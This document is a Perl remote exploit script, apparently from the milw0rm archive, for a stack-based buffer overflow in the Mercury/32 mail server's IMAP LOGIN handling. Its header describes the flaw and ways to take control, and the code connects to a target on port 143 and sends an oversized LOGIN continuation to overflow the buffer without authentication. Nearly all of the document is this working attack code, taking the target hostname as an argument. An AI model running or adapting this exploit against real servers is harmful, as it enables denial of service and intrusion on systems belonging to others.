84 lines
No EOL
2 KiB
Perl
Executable file
84 lines
No EOL
2 KiB
Perl
Executable file
#!/usr/bin/perl
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#
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# mercurypown-v1.pl
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#
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# Mercury/32 <v4.01b (win32) remote exploit
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# by mu-b - 28 Nov 2006
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#
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# - Tested on: Mercury/32 v4.01a (win32)
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# Mercury/32 v4.01b (win32)
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#
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# Stack-based buffer overflow caused by Mercury/32 concatenating
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# continuation data into a fixed sized buffer disregarding
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# the length of the original command, you do not require authentication.
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#
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# This is a little harder to exploit than usual since the
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# stack frame in question calls end_thread before returning..
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# buts it's still possible by at *least* two different ways...
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# (i.e. controlling a pointer into sprintf and/or controlling
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# a pointer to be free()).
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#
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########
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use Getopt::Std; getopts('t:n:', \%arg);
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use Socket;
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&print_header;
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my $target;
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if (defined($arg{'t'})) { $target = $arg{'t'} }
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if (!(defined($target))) { &usage; }
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my $imapd_port = 143;
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my $send_delay = 1;
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my $NOP = 'A';
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my $LEN = 9200;#8928;
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my $BUFLEN = 8192;
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if (connect_host($target, $imapd_port)) {
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print("-> * Connected\n");
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$buf = "1 LOGIN".(" "x($LEN-$BUFLEN))."\{255\}\n";
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send(SOCKET, $buf, 0);
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sleep($send_delay);
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print("-> * Sending payload\n");
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$buf = $NOP x 255;
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send(SOCKET, $buf, 0);
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sleep($send_delay);
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print("-> * Sending payload 2\n");
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$buf = $NOP x $BUFLEN;
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send(SOCKET, $buf, 0);
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sleep($send_delay);
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print("-> * Successfully sent payload!\n");
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}
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sub print_header {
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print("Mercury/32 <v4.01b (win32) remote exploit\n");
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print("by: <mu-b\@digit-labs.org>\n\n");
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}
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sub usage {
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print(qq(Usage: $0 -t <hostname>
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-t <hostname> : hostname to test
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));
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exit(1);
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}
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sub connect_host {
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($target, $port) = @_;
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$iaddr = inet_aton($target) || die("Error: $!\n");
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$paddr = sockaddr_in($port, $iaddr) || die("Error: $!\n");
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$proto = getprotobyname('tcp') || die("Error: $!\n");
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socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
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connect(SOCKET, $paddr) || die("Error: $!\n");
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return(1337);
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}
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# milw0rm.com [2007-03-06] |